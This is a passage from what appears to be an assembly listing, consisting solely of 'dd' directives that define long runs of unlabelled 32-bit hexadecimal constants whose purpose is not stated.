0AABA4EF2h, 3B5568AAh dd 71F62FF1h, 6E6658D8h, 0CAF3E8D3h, 50C41D8Ah, 0D6925F0Fh dd 0F56F2F0Eh, 7E184104h, 0AFAD0B72h, 50380DBAh, 94696757h dd 0C6C31FBFh, 421A00EAh, 53596BCAh, 0F45AA179h, 10219726h dd 75B7C4B6h, 0F4280C93h, 5AA0C6A1h, 0B16953C6h, 0C21B7450h dd 0A29F198Fh, 51CC3EDh, 0CB60A52Ah, 0BAEA1FD9h, 21485951h dd 0C8884A97h, 48C55B15h, 0AC28E5B4h, 0DC70AA7Fh, 7AE60FEFh dd 0CCC43581h, 0CFE49AD6h, 0F9257366h, 56023B87h, 842AE9B2h dd 4A9A1379h, 4D83DB41h, 7DD6EA34h, 0A712202Eh, 2786DCBEh dd 849D5371h, 7009BDD2h, 69509850h, 0EBEEB706h, 83778E63h dd 0CC8D714Fh, 0B1E95854h, 19AA1E21h, 0A2A4A557h, 0F2E0CD9h dd 0B28E8E67h, 7F4BC04Ah, 4FB5E587h, 0B859085Fh, 7038B22Ah dd 1A186F88h, 0E15CAFDh, 157B1DDCh, 294F5789h, 1750D1C8h dd 11A7BD82h, 9C6E6D10h, 7D874D13h, 28757968h, 4D64BEDFh dd 0A02C9767h, 5CF44E14h, 0A045CD3Dh, 0D32B2474h, 33DDA03Fh dd 0B60F681Fh, 8AF96372h, 0CD029435h, 679CF775h, 79312401h dd 0F6F1E59Fh, 0E3DB91E8h, 0ADFB1AFEh, 2D51428Dh, 0A05056DBh dd 65DF5442h, 9D906BEBh, 4D953AFEh, 0AA18C080h, 14AB0216h dd 0ED09B107h, 0E62D2D67h, 0C4ADD493h, 0EEC11445h, 0B808EC0Bh dd 0B672A999h, 33E37A80h, 4FBCD00Fh, 94F92E33h, 483150BCh dd 0F124F033h, 4517EEB4h, 0FD743DB3h, 39044D27h, 31154826h dd 27CDB96Dh, 0A77C1F3Fh, 4E99AB76h, 66E8BBBAh, 6094B8E2h dd 0A9ED8C1Dh, 8F2EA334h, 8AC9212Dh, 825B3AA2h, 0A26AF419h dd 0C0715D93h, 0E5474E97h, 43E2B57Ch, 0A10690E7h, 0D71D4B7Dh dd 2EA5ECC5h, 0BFF9DDE0h, 6A2FC9D4h, 526FEF8h, 0E00FC95Bh dd 0D29653E7h, 6C693676h, 7353AAFFh, 0D87E1A8Fh, 0F1338CC0h dd 0AABC428Fh, 423972C2h, 70233C0Bh, 0CC507BA8h, 652F5D78h dd 1F886684h, 0E9B899C0h, 6FF9BE8Dh, 0CDE7F3C0h, 10889DBAh dd 6CAAE460h, 0E538FFB2h, 0B56F9D21h, 0F6382627h, 0DACF0FC6h dd 9ED5D771h, 0E366667Ch, 380DDEFCh, 2828F2EDh, 0BCF31136h dd 0F3C8B5E3h, 631E1A9Bh, 6716F807h, 0C0470789h, 36186F2Fh dd 28ADFA3h, 0A35DF3F6h, 0CFAC0E7Ch, 0A273BF84h, 5A316258h dd 0FFE0A861h, 267A3B0Dh, 0F39DDF84h, 0B113C8F3h, 903CA416h dd 0FB4101B6h, 452C52E6h, 7A493B8Dh, 18934A07h, 0A5C870CAh dd 3E188C67h, 3651ECA0h, 3289EE21h, 66AF9CFCh, 5B77DC2Bh dd 4A6DAA06h, 667A9127h, 75E4CB18h, 613D842h, 0C24884F0h dd 6E0F7CEBh, 8BB3B317h, 860A12F5h, 0FE9FE66Dh, 0E73D5B42h dd 176DEE0h, 28A5CB5h, 0A5FD97Eh, 0FDBFEBB6h, 0DDA01DD6h dd 644A07C2h, 0ED5869B3h, 95A7537h, 9FB13D41h, 5C6B21E6h dd 810391E4h, 4C26FA2Eh, 0B25802C3h, 0BF3E4760h, 0FE896440h dd 0DA7FF42Fh, 933938B6h, 195DA4F7h, 36CEF638h, 3045AC88h dd 0E286ED0Dh, 44308CD2h, 4DCF09F6h, 5E83CF9Eh, 0E96FB9DAh dd 4405CEA2h, 0CF3F1F08h, 592F7615h, 0ADBEB7DFh, 85A72BD6h dd 7D9B42EBh, 0FC563093h, 1B29E05Dh, 0C0F7CF6h, 3209CCC3h dd 0DD7EAB27h, 0D50E09A8h, 8A31B3E9h, 89C48216h, 1E1148D7h dd 8506328Dh, 0D62B8017h, 7F6B5009h, 6A8160E0h, 7A51B1B6h dd 26A7ABC2h, 0F5D6DE52h, 0CBED3F33h, 9A758FFAh, 101A544Ch dd 247A2D30h, 4863376Eh, 7CD6623Fh, 0EC130066h, 9373E296h dd 55C631ECh, 50C6555Eh, 96B03DDBh, 0F55BBB6h, 0F390A068h dd 48A77670h, 1F03364Ch, 9B5CC9A0h, 7774D722h, 0A63D5D1Ch dd 0AF81FDEEh, 85CE1F63h, 26434908h, 6231C994h, 14BB15F5h dd 173BCACFh, 85C47399h, 2B44435Fh, 2C3D0954h, 0F4C941B0h dd 82188BBCh, 2330AAF2h, 0B8F5754Eh, 32E98F92h, 723C6FCCh dd 20AAD044h, 0A3B26F8Bh, 9E6CE7F6h, 0E64B1016h, 0C9C08308h dd 990C65AEh, 0FAE0BD15h, 4306B477h, 0D9A6313Bh, 98FC37DBh dd 39C3A178h, 0B046A387h, 0ACA76E46h, 5A8B7162h, 0F55364EEh dd 337D6F0h, 0F2C8FE8Bh, 2682BA27h, 0F332C278h, 6FFD3E78h dd 3AF01BA9h, 4FEBB0D6h, 0B0D52D7Ah, 0DD8A806Eh, 4157A87Eh dd 5E62EF68h, 0F552AE35h, 8C32C370h, 4C36E998h, 9A709E3h dd 60D006FCh, 3591A364h, 36F8784Eh, 635074B7h, 0D1FB4F56h dd 0AB93C6C6h, 45CFBAECh, 0A3751B96h, 436AE0F0h, 0F86F7C26h dd 2EABA51Bh, 5F81DFCCh, 0E6420BB1h, 0E935C7F6h, 0FDD34C00h dd 0F70F247Dh, 0EDF8D5B2h, 0B9634A2Bh, 9D92BD91h, 0C2DAEE9Eh dd 1DF803E5h, 0EC8CFFCEh, 5B61116Ah, 611A2701h, 8FD7CC6h dd 4D885D27h, 0E95BA153h, 0D81ADF5Ah, 0C7CF2BBBh, 0A8EA5821h dd 7DBA49BDh, 0AEF6746Ch, 0FCE6F529h, 0F549F245h, 11735773h dd 0D0264FBDh, 0F0FB7DBh, 65898697h, 0E4C7C04Ah, 3CB0464Ch dd 7E31F980h, 0E92D8276h, 2382950Dh, 0F9DF3CC5h, 5BC58836h dd 3BD73317h, 416FEFC1h, 0AA20B7B6h, 4E125729h, 0FCFD2299h dd 0CC09DB1Fh, 1E8E8283h, 1B32CF03h, 9060C4C5h, 4B5012B4h dd 2A9D2117h, 8F20EFF3h, 4D450744h, 0CE1FCC57h, 1378AF12h dd 60599353h, 47881CADh, 0CB1DBC59h, 72426B08h, 9C979DFCh dd 0D4CD98D6h, 652718D6h, 4D397829h, 40F43903h, 4E004566h dd 0B6BF7126h, 0A5BCB9FEh, 8D19513Dh, 0CF112AA8h, 118544F2h dd 20992936h, 35835B3h, 34A95501h, 0CA9D380Ch, 48FCCFFDh dd 83838DCh, 0CF694229h, 0ED5D8A4Ch, 0EDA7F088h, 0ADE94F8Eh dd 2E4A6C63h, 0C73DBFDDh, 0FC6ED857h, 53151CDDh, 2AD4A53Ch dd 48CD1B01h, 0DD4E323Ch dd 36EB1EB6h, 586035B3h, 0D709F4E3h, 761492D6h, 0A92A29BEh dd 0E8CB115Bh, 1E08CCEDh, 0D91F99E7h, 0CD668EE7h, 0C1452B2Dh dd 70F1596Bh, 9D92E337h, 5D3BB21Ch, 9346F53Ah, 0F49075A7h dd 0E7DD1392h, 308FB12Ch, 0F048A596h, 38AE1408h, 8E1E91BCh dd 0C2D1462Ch, 2E7C7F40h, 7B07DF2Ch, 631FC1F2h, 8EDB8A59h dd 5731163Bh, 0A5090DA2h, 70963332h, 0FBBA79AFh, 9E8CA00Fh dd 5EF42344h, 6FC5D978h, 0FBA7D539h, 0B8DFC81Dh, 0C6FEDFA6h dd 428A2D4Ch, 84091A0Dh, 0C09DAC09h, 6744FEF5h, 6C2A291Bh dd 0CCEB0FEDh, 8384BD28h, 0D829D01Dh, 5197BBE2h, 733FA7D0h dd 4B38C915h, 2BC741ADh, 548C1B1Eh, 0B2476610h, 0F036DF55h dd 0CAE65E87h, 0FC8FB71Ah, 0EB930503h, 7F1F317Fh, 0C414FD5Ah dd 0B0C79FCDh, 4C5100D1h, 8AB7D1C8h, 0C72A5F76h, 7338AE8Bh dd 0CC96C359h, 0DAF359C5h, 58C21146h, 0E84E0D7Bh, 0F22883BEh dd 98EEA479h, 0B777A482h, 1891CAC4h, 0F96DD901h, 8DB18245h dd 1E48CEFAh, 0D446B9B0h, 0E057941h, 619A4FC5h, 60D041F8h dd 0E46E6510h, 990342AAh, 44E4856Ch, 0D7DD779Ch, 770E4E80h dd 0F35DE5D4h, 0C47A1013h, 5198D553h, 39090D5Ah, 461CD120h dd 43FA8379h, 0F79022Ah, 9C6417B9h, 0A509B1Ah, 1100EFC0h dd 0CE981ED3h, 80695D90h, 0B1DAFFACh, 0AFA407A7h, 5FD6001Fh dd 779C83D0h, 21651AE8h, 21F07F58h, 548F2EC7h, 8A6E3766h dd 1A80CDA7h, 1B88AC87h, 0E20D9F43h, 4765591Bh, 29FFDB04h dd 5214716Eh, 0D7A1F9BAh, 0E50D7973h, 0F9B55EFCh, 315D942Ah dd 4DAE6DE5h, 8239070Dh, 5C1721D2h, 6C2A6B76h, 0F4A75BFBh dd 229556BCh, 6652138Ah, 6601C2DCh, 0CC82C9A8h, 325A621Bh dd 842FD7DBh, 0E0B1BF4Fh, 7B0635A1h, 0FAC2E2AFh, 0A3BB4134h dd 0ADABA669h, 4C9FF77Fh, 0AB1F11ADh, 38F31C95h, 7841D371h dd 55826EA0h, 8C31DE0h, 74EACECDh, 58BED92Fh, 0D48AD20Ch dd 2B428B09h, 37599B06h, 56460EDBh, 2FA0A43Ch, 46CEB94h dd 5674C44Eh, 0E47E6B83h, 0B085DF78h, 8C65A3E1h, 8F3CA44Dh dd 1A099BBEh, 8FEC7CBDh, 300322Ch, 3EE38BC5h, 417F4933h dd 25939096h, 6D613CE6h, 0FF69C47Fh, 0BF02DC21h, 0B238028Ch dd 981E04F8h, 2D76529Dh, 38B01A22h, 0B763A168h, 4C1868F8h dd 606047F9h, 0CC2D593Bh, 1AE79093h, 9D749765h, 0F6375905h dd 0BB890D44h, 8AE52734h, 5687472Ah, 12096F23h, 7B48AB1Ch dd 0C3FB7F01h, 331B1741h, 7CE6C017h, 0E8B2AD2Dh, 0EF208D39h dd 0EB5814DEh, 486856B3h, 0EB2998D5h, 79F867ADh, 9FAA7EAFh dd 0E5AE0968h, 0B4555C65h, 0BAB4AFA1h, 0C443582Fh, 527D8229h dd 11C0A935h, 16D76CE3h, 424EA9E9h, 1C60A222h, 214B47AAh dd 1D9FAFF9h, 88FA4947h, 0FF4B764Ch, 0A601FBFCh, 6A9EB9E1h dd 6EB63DB8h, 0FA674920h, 0DDAFC923h, 0A1E40D29h, 2E68017Dh dd 2FD33D5Ch, 4D81D1B0h, 7DCB32E3h, 0EA509652h, 0F4370F6Dh dd 0D9F68AC4h, 0DDD0F8F5h, 0E4FEDD3Ch, 964944F6h, 8EB09B95h dd 7A9B2B8Ch, 0AB2D771Ah, 534DD50Ch, 0A20B9E61h, 0D1FD0EBCh dd 0C84FE8A6h, 377C19F0h, 604F01EAh, 0FFB8C93Fh, 0BA412A66h dd 0DB6DC898h, 35F764E8h, 81E58F00h, 0C90A0B17h, 0C3BD2CE4h dd 0B1AA15B6h, 62CB38F2h, 877C5A4Bh, 68844D7h, 0D6E6880h dd 33D1EDDEh, 0FDDF92DFh, 8DCCCF5Fh, 0CD64D43Ch, 0D06C38D6h dd 0D24F4C21h, 0F3D9163Ch, 8B17DC02h, 0D8E9C195h, 0B7A34081h dd 6CC5D61Bh, 26551C57h, 0D0A09A02h, 9DA0EACFh, 0B70472EFh dd 6520A9B8h, 32327D77h, 6005ED5Ch, 66938E80h, 39505B3Bh dd 7FD47565h, 0CA7091AAh, 8D4F3C14h, 36609279h, 582C3969h dd 146A9A20h, 20CB703h, 248D9A4Bh, 8F9B00D5h, 2AD249EEh dd 1BB06CDDh, 15CDCC64h, 6B22ACDFh, 2CCD7F26h, 0A8F516BCh dd 87B00E44h, 58A0DB95h, 0BC18C429h, 18024F60h, 7E7964B8h dd 3D815A6Eh, 0A94FE90h, 0D541EEBCh, 50678E49h, 99B686F2h dd 9918020Dh, 6096F88Eh, 24614F2Ah, 810A61Eh, 0F38DDF78h dd 345E179Fh, 0BA92E3D8h, 0BFA03DD7h, 0E47E26C7h, 7A5966B9h dd 4CD02F74h, 0A7442062h, 2A1D1F76h, 82D98EB8h, 5C49882Bh dd 0ADF300A2h, 0FB150E68h, 437B2A0Dh, 0BCC45B04h, 483930A9h dd 0DBFE3CB6h, 1BA1AE77h, 303F05CFh, 0F5B64F2Dh, 1690D83h dd 4BE0A9F0h, 69BA4069h, 0EF764425h, 59D582C2h, 0FDD6ED3Bh dd 158B5997h, 0C35B40C1h, 0D0082BBAh, 0BD1B081Ch, 0CED7571Fh dd 0BBF9DD0Ah, 5B8A8C4Dh, 0CFDD8081h, 0FCE99569h, 37DC79B2h dd 79D821ECh, 5E07A460h, 934C09ADh, 0A5F344F6h, 465B4ACAh dd 1D450C2Ch, 951918C8h, 6AFD905Fh, 4ED7F13Eh, 0FA7191B8h dd 0CAA4F5D6h, 11576C01h, 4D805C98h, 0EE778D4h, 4EF4978Bh dd 0B97032CEh, 0F1A79FDEh, 0AF9F2B23h, 503F9086h, 0D0616EF1h dd 8DDB832Dh, 0E775F3C6h, 0A680CED2h, 76900DAEh, 42946A1Dh dd 5006692Ch, 802C947Bh, 0C28E233Ch, 0EDFC4E27h, 5C503CA9h dd 593AA6EEh, 8793F66Dh, 8BC8C713h, 0F880D342h, 0E152D641h dd 984AF5E3h, 25ACE366h, 9218B69Eh, 956A0BA6h, 7AD34C97h dd 875EFDBh, 31A321D0h, 92721343h, 0FB51CE7Fh, 0E783FBBEh dd 30B0F256h, 0B42BF547h, 7B6533A6h, 0D4410CFAh, 32254ABAh dd 576FADDh, 2F336F5Dh, 4701917Bh, 3627D5D4h, 8EB94DAAh dd 3B32C0B2h, 0F0A1F2B3h, 9F38EBDEh, 39DA5D84h, 65153983h dd 0C51F2C0h, 1150C728h, 208A515Ah, 2C721169h, 9D486F9Eh dd 0A0F94ACDh, 0A00B2F15h, 8ED9A284h, 7134F3E9h, 4FA2E583h dd 49679CD7h, 0C198333Bh, 0C39D98C0h, 6BC0AC1h, 63ED2EE9h dd 76EB18DFh, 22D1B952h, 0F318822Ch, 1C61CD85h, 91086822h dd 2CCEC848h, 0E307CF82h, 0BD4148F9h, 2161B194h, 2F990791h dd 0E581336Fh, 57508C7Ah, 1F39F84Dh, 0FDDC571Dh, 95601597h dd 0F0077F3Fh, 74080280h, 1F951366h, 37D6AD24h, 60BF577Eh dd 0F6800846h, 34F4E5Dh, 63811BC7h, 104AC854h, 6B062AC4h dd 0D86F7D51h, 0B404554Bh, 64D44531h, 77C3BB4Dh, 506D1EFBh dd 8573E9DAh, 43D5077Ah, 0C4E0C3D4h, 6B5A74F7h, 0F9E464E1h dd 0AC40D94h, 891BABF1h, 28507402h, 28D1D5EDh, 0CC0FABh dd 0DF2EFD68h, 0C954FBA5h, 0F7B01D88h, 0A0EAFB59h, 1292F2E7h dd 7223B3B2h, 0E509690Ah, 478B1C1Dh, 0A5C71FA4h, 0A9B2D3B8h dd 0DC1A22FBh, 0A51BD6B6h, 11D3C4CCh, 31760AC1h, 5D44325h dd 1A3421E9h, 94D03F29h, 88A6EB86h, 807BB767h, 12F62988h dd 0EB2DE2E6h, 8597F06h, 0CDA5DB2Eh, 381849D9h, 65063655h dd 0FA0B7AB1h, 520F9E54h, 9BE92C32h, 931C4D8Eh, 78C8F90Bh dd 0C5B5159Ah, 2C78B0BBh, 0E68FFBAFh, 742EF30Ch, 39A6C7F1h dd 0D2381C48h, 0A9C5016Eh, 2F9B5F8Ah, 0B28408B6h, 0CFC5808Dh dd 0F626FE5Dh, 956A68DCh, 0B1653C06h, 38951EA8h, 0DB711C78h dd 9CC7F139h, 0E9DDA648h, 3530EE47h, 0CE08D866h, 57B0BEF3h dd 8C065A30h, 0D6A2C50Bh, 1836F93h, 35FC7EBEh, 60D4CD62h dd 1CDF10ADh, 0BD6E93BFh, 0B055B409h, 0EFCCE128h, 783E62FAh dd 516BF16Ah, 861FAAD3h, 382ABE2Bh, 0BA4E565Ah, 60FC1872h dd 43360B21h, 0DCD877D6h, 738A1D39h, 0C328EBDDh, 57E69741h dd 0DBFAF6CEh, 7BF0981Ch, 68CC9F37h, 0D4F72C8h, 0F5747DE2h dd 0C47BAB0Bh, 8F2E4614h, 0B0166584h, 7519CB0h, 7D77A565h dd 7FE04941h, 0A93060FDh dd 220E7C7Ah, 0B4A563C1h, 901FAA00h, 0BFDDCDC9h, 6AF97812h dd 0C548E88Bh, 0E296080Eh, 86E7F151h, 6DFDA003h, 3B956670h dd 6EBB2B21h, 0F3623D7Eh, 0E81F202h, 4BEC4B9h, 8A3F05EEh dd 0A4395196h, 2D8E212Fh, 0EA7FE59Ah, 24049307h, 0BBD0D101h dd 5CB46199h, 0F3D70E82h, 5D7B9BD3h, 6DCE206Dh, 0E5DE10C0h dd 2E1028D0h, 7819A3E0h, 17B600AEh, 0CFAC9B3Ah, 0C740A0F4h dd 122ED5A9h, 0F930654Dh, 0B85E1786h, 201B3945h, 0B15DA40Dh dd 2FAB5FB7h, 8FD3466Fh, 0D1BF38B2h, 9AFBA1ADh, 0D0546BD8h dd 0F83472ACh, 0FFCFD451h, 97328B05h, 0D2F122EBh, 68DDE5DEh dd 922E5DD5h, 0ED638A07h, 0B84ED0ECh, 2B7C8CA1h, 0E42132C0h dd 0FE2B1120h, 0EA8D417Ch, 28AD48B0h, 7FC29C27h, 51F12599h dd 8EBDECEEh, 4B7FAD19h, 0C9B3C0BFh, 0CBBFD06h, 249B2500h dd 0A3ABA59h, 1DC8D540h, 0AE124FFBh, 472A81CBh, 0DBC9BCD1h dd 0D49A9A14h, 69EAE13Fh, 15B005B3h, 7B868C64h, 0D26C61A4h dd 293B802Dh, 27226F87h, 4ACAA447h, 0F827B4ECh, 0AD68F1D2h dd 0D2700596h, 7247E76Dh, 6E3F8E57h, 3B10DB54h, 58C70BCAh dd 0ABEC1B37h, 8DC46506h, 0D85A6A9Fh, 7ECCE68Eh, 8AB4EB48h dd 8D7A5D6h, 97225B32h, 700700C6h, 5A1EB0D7h, 0F1179E44h dd 6C79526h, 7A92BAEh, 84A69881h, 4582FF24h, 8177CBD8h dd 0B05ABF23h, 336F0E73h, 0E98E67F5h, 9A1628CEh, 0F032B744h dd 65DC71AEh, 63F9B1B3h, 0FB665AAFh, 1975535Bh, 3B576C44h dd 0D65C617Ch, 0AB4B66BFh, 0D0CD87B8h, 27576FE2h, 816B3F13h dd 6D057805h, 735734CEh, 6A28ABDh, 0E18EF56h, 2DC2D639h dd 0DE906BEEh, 470022E0h, 95D9375Ch, 85E0100Ch, 0D47882E9h dd 0F27A3650h, 0B941A53h, 0E6503927h, 0C114AF1Ch, 14953DC5h dd 63983F1Eh, 6A5F68C6h, 604770B4h, 0FCC4435Bh, 3B1DF153h dd 3460638Dh, 360FA0EAh, 0B01E1285h, 5787BED0h, 515F4A26h dd 9C1D530Ah, 0CEE1A201h, 7A8218F5h, 3FFE9A7Fh, 6BFFFA3Dh dd 0D51F9597h, 3C6CB164h, 4A01721Bh, 0CF8619C6h, 9B426D6Fh dd 2010C095h, 1F39B16h, 0C60D73E9h, 7D86207Bh, 0AABF332Bh dd 89502471h, 4AAD0EC9h, 0CBDB29F1h, 6383DAC2h, 0AD974D9Ch dd 566D7C51h, 99AE6EF3h, 8CE5926Dh, 465CCC97h, 0FE123A3Fh dd 0ED263697h, 407EA074h, 361D1D8h, 6B23304Bh, 0B58DDA15h dd 5489287h, 0DBBC46A8h, 0BB1D52DEh, 0A77971D3h, 39E6C6CBh dd 0D90BA789h, 2F769F16h, 0BF837BA6h, 0F412A66Dh, 0AF38756Bh dd 0A81640F1h, 841A83F5h, 0E46567F3h, 798C5177h, 73B4F0C4h dd 658F33BCh, 0EEBF7AC0h, 0A5C430ECh, 0F0AAB33Ah, 2F49C306h dd 8713D296h, 0BF9E1213h, 8131D3F9h, 88F19F37h, 0AEB8ECB3h dd 44465038h, 745CF6D3h, 7ED0A5D4h, 8C845215h, 0DAA76B93h dd 1B0A64B6h, 0EC60A10Ch, 5E0993ACh, 2B4C1173h, 6BA320DEh dd 386A9569h, 19B7DD08h, 3CC48D81h, 0B21DD275h, 493DE4E2h dd 2EA20A3Bh, 1166E656h, 73C3E8E5h, 1FAE2564h, 0A0162760h dd 81DD8FF2h, 31190838h, 194ADD01h, 9827CAF6h, 86C5C660h dd 58DD074Fh, 59EBAD1Dh, 0CE54F9A6h, 0C7A303CDh, 6A6918DCh dd 40CEFDBDh, 5AA78891h, 0F3424A9Dh, 0B723F407h, 4340220Eh dd 479388ECh, 4E1D0050h, 0A3B46110h, 3C56F980h, 0A4199E54h dd 0EB905E56h, 12427BADh, 25DA3DC4h, 5AF95413h, 0E40C65A2h dd 0B7F73521h, 2D067EB5h, 0FF73C56h, 2CF94110h, 0C7B5EACEh dd 0C07356A5h, 6E911454h, 8F86636Dh, 1FB85845h, 22053421h dd 8CA6D4ADh, 814571B9h, 0C93CED85h, 9BDC59F1h, 7D735948h dd 57E09064h, 9D6A852Ah, 30863CDFh, 0E5BA17B8h, 0B054F21Bh dd 0B15F9A5Ch, 538529A4h, 0F64C8FB9h, 413406F8h, 0FBDE5198h dd 245BDEB7h, 3D89E9h, 60455D85h, 0A8264740h, 8F75B4B3h dd 0EF0C0A29h, 2E0C9CC2h, 97430E4Bh, 0D2DA6ABBh, 967F1161h dd 16DBA616h, 0FBF16688h, 0DCDEA424h, 6B53D2EAh, 9AC5EF09h dd 5D38E67Eh, 31833D7Dh, 0C9F59EE0h, 87C85E68h, 5439A88Bh dd 0DCA4D408h, 745A5B41h, 69935B7Ch, 9A7626A4h, 0E93381Ah dd 6CB6233Bh, 51416D74h, 25E2367h, 0A6148C26h, 377FCA66h dd 0A066159Eh, 62EF526Eh, 94BB355h, 1A3D9C97h, 208E1938h dd 78E0481Ch, 82132792h, 0C1548B76h, 0DC7DD5FAh, 5EDB2533h dd 0FED129BCh, 7DC45222h, 5269650Eh, 717A6DD4h, 0A0D712D6h dd 789B1C9h, 0B2619935h, 183F6F62h, 6612AE3Fh, 807D33ABh dd 8B9DEEF3h, 0C767BD13h, 70EC842Eh, 0D341BF51h, 59A2733Dh dd 0F03C607Ch, 51D7E80Eh, 0E1B682CEh, 3D5056A6h, 737E0EC5h dd 85E9C02Ah, 4ABF89E9h, 6EBD4E1Eh, 0ECE5154Bh, 0B61AB6F2h dd 0AB78DC50h, 4B1A1C02h, 53E54F6Ch, 2824F0F0h, 0D2F2EE5Ah dd 91354A0Ch, 0BA206640h, 0A3C919D8h, 7D8793F7h, 0A280C767h dd 8FBFD9A0h, 85F8E8A9h, 4401F260h, 19C79BA6h, 76376204h dd 3DE983A4h, 16F9BD79h, 8E45E9E0h, 51980933h, 7AD9146Bh dd 62D35A41h, 22C42A99h, 0BC5F8DD8h, 4AC524E8h, 7DE42CD9h dd 0E856E17Ch, 831C22B3h, 0C4169706h, 2ECDC93Ah, 0B8466A67h dd 0B0553242h, 0D340824Bh, 2486EC70h, 4F1B2913h, 0B2B9365Fh dd 0F00345FAh, 0E0A63E51h, 0A5105F5h, 1B30C642h, 9324C1DBh dd 0E7F4C008h, 81780167h, 3FAAE6A0h, 0FFBF12D6h, 583FFD20h dd 91019E06h, 90AABh, 225B520Ch, 9FA59D2Dh, 94FBB649h dd 0CB695118h, 8CB3487Ch, 0B425C4Bh, 0E4A8D261h, 4772985Ah dd 0E6DAA6ABh, 87B46DF9h, 0C55681ECh, 0B91C327Bh, 0C9C69EE2h dd 2C5DCD4Ch, 3976685Ch, 70153359h, 339882C9h, 9457ECB2h dd 0F7AD29F3h, 9E8836AFh, 0E278C502h, 0E9787EADh, 0E0CE5F7h dd 9D0AD643h, 0DC8549DBh, 0C4748408h, 90086367h, 3722F7A0h dd 0FB621A56h, 5E61F8E0h, 96309C66h, 7108B9Bh, 25AF1294h dd 98B3FDE1h, 93BDA6ABh, 4CA9D9E9h, 0CBBA8C84h, 2CA7BEB7h dd 0F3D2E363h, 0F09990DBh, 0A1DC3A6Bh, 0A85FA819h, 0D650269Ch dd 0B0F783C3h, 0CDC046BEh, 2AB6716Eh, 0BEF0BE4Dh, 379E8C51h dd 14DE5745h, 838C53F4h, 60E1FC52h, 0D98589FCh, 5B910AAh dd 0C621C1F9h, 3540B0A1h, 105C89E8h, 1E3E5C8Ch, 25AD13A2h dd 2053A630h, 0CF2F120Ah, 571DAB01h, 0A421104Ah, 3B9E20B1h dd 0FD1B5E71h, 8873ADE3h, 6230285Bh, 3EDC79F0h, 0B6B86C4Bh dd 6632DBD6h, 967BE31Fh, 0DE55F6CFh, 0E219878Dh, 28C6BFC6h dd 0EC12EA4Eh, 30A4C7B1h, 1F779354h, 365ACE74h, 87BB3585h dd 44245CBBh, 9AAE9AABh, 0AEFCDFBEh, 6E451636h, 0D2351E30h dd 609E98CCh, 29831832h, 0D4134435h, 3CA972C3h, 945728D9h dd 58D2EC14h, 2E7CA6Eh, 37B2BA52h, 7887A43Bh, 1031EC19h dd 8BC8CDC6h, 287B31F3h, 74AA56D0h, 0CC7A2833h, 4C976A33h dd 701818C4h, 0C9614FF0h, 9417421Dh, 2EC0377Ch, 4B3E04F9h dd 256F2695h, 6664474Dh, 7638468Ch, 0A6A38257h, 608CA848h dd 21ABCBCCh, 0C6DFFB97h, 75044A19h, 4C3BFDB5h, 96CEDE96h dd 0C4D09E9Ah, 0B54AB519h, 9E2BAD21h, 1BA91945h, 44EACC8Ch dd 0E5B92618h, 1974DD3Bh, 83196D66h, 0CE9992D6h, 6C228E96h dd 1C04A6D9h, 0EF5A6AEAh, 39EE993Eh, 78C30437h, 2D4357B2h dd 31AAA080h, 0FFE9BEEBh, 7DB3AD28h, 0E61DDDAFh, 0E0B49AA4h dd 6B73D447h, 0E17EB21Bh, 0B2C37066h, 0D1C21AB5h, 516357C8h dd 0E34F08F5h, 0A75319E7h dd 0ABA329B4h, 0C43303FDh, 1522C19Fh, 0E3447401h, 53486B45h dd 0DD6449FCh, 2F8D74Eh, 0A98A1B6Ah, 0F4E2FE77h, 0CF6E710Eh dd 0A01F0F40h, 373FC187h, 90BBD8A0h, 475055AFh, 28B9537Dh dd 0FA12170Fh, 4011B2C0h, 824C046Dh, 95D2B2E1h, 9F8AB01Eh dd 8811D97h, 13DB972Eh, 37E9B188h, 30B487Bh, 0B142DDCFh dd 50EB0E10h, 80A2234Eh, 3822B84Ch, 14D1BEE6h, 0BF2BE29Eh dd 5008D319h, 9E5F054Ah, 47301F6Bh, 8E708504h, 0F1389C74h dd 4D4D9541h, 68EBFBD9h, 0F0B80036h, 8886F33Dh, 6C010946h dd 0D2324779h, 602BB59Dh, 6B12D29Bh, 0D226F0F9h, 26704080h dd 706208E4h, 0C78EB5D1h, 0F1CF80BBh, 0C503FBDFh, 0CC7E20AFh dd 0B60DA047h, 0E3C098Dh, 0C09CD99Bh, 37044A61h, 0D9C800E9h dd 883F90CEh, 745D4013h, 0BE69B87Bh, 0B3E0C47Bh, 81018551h dd 586137A2h, 9DE23E3Ch, 0C126F64Eh, 56673228h, 63A106CAh dd 60BC1958h, 7AD55A56h, 8856B25Ah, 866B4A47h, 43FDD872h dd 0B1A32F12h, 80B83F5Fh, 9863D07Ah, 8507E811h, 4528B4D5h dd 693DE7D2h, 0EB34C993h, 9287CC2Ch, 0F61B9775h, 0C90131ABh dd 49582352h, 0E6FFC62h, 570096A5h, 0BE239F7Bh, 781A8464h dd 0DBC1AC19h, 0EB2F97CFh, 312BD95Bh, 3851645Fh, 9CE1AA5Bh dd 0A22AFD69h, 96081DEh, 9CF0AAE9h, 7BFA7FDAh, 762A96FCh dd 0E17923F3h, 8C200EA6h, 53FD9D6Ah, 0C375184Fh, 0C4E6D35Eh dd 0A4335AC5h, 0D2C9D0B5h, 79B92BF2h, 0A4233DACh, 76A55282h dd 8EE428EDh, 40381417h, 0E7B45633h, 0A87911E3h, 0B3A9F014h dd 0E6AA8169h, 0C158AEA9h, 0CD7C66D3h, 485D9B22h, 701B8705h dd 0A927172Bh, 6F9F404Ch, 0DC828E0Dh, 0EC8F26D9h, 0BE9A01D0h dd 0FB08B898h, 7D559CB9h, 1270EB9Ah, 0F1FB9C26h, 0B0462C95h dd 4121B8F8h, 689F376Dh, 35A783BBh, 3B7CC682h, 0D5E8317Ch dd 0D8B3DE44h, 93505C55h, 0D19DFF43h, 0F672E7F7h, 58682651h dd 0DB8E34FCh, 0D57DC62Ah, 24E37D39h, 0DF2EE541h, 0F64B5698h dd 0FF9A0934h, 0C328E4FEh, 0C0E6939Ah, 0AF49385Fh, 0F748B657h dd 0E49A2AE1h, 97B2766h, 0F119DF1Bh, 0DFB06C54h, 64948801h dd 7139A9DBh, 0AE755451h, 2B57CFD8h, 0C83A9D19h, 9381F3CAh dd 509D880Eh, 252EBE81h, 20ADE9EEh, 51E1BB93h, 420B837Ch dd 6D3F7E40h, 0D34AC5AFh, 932FCC9Ch, 0CE1DA89h, 580117E1h dd 0C8F70A16h, 0AC9EA011h, 5A21D3ECh, 65165B82h, 8F158B45h dd 78A9DA53h, 0D3D44339h, 1E612E4Ch, 4485D96Ah, 7180B2FCh dd 8EED98C4h, 0A63FE7FCh, 9DFCDAB7h, 2E4B274Ch, 0DA9CC70Ch dd 0A64B785Eh, 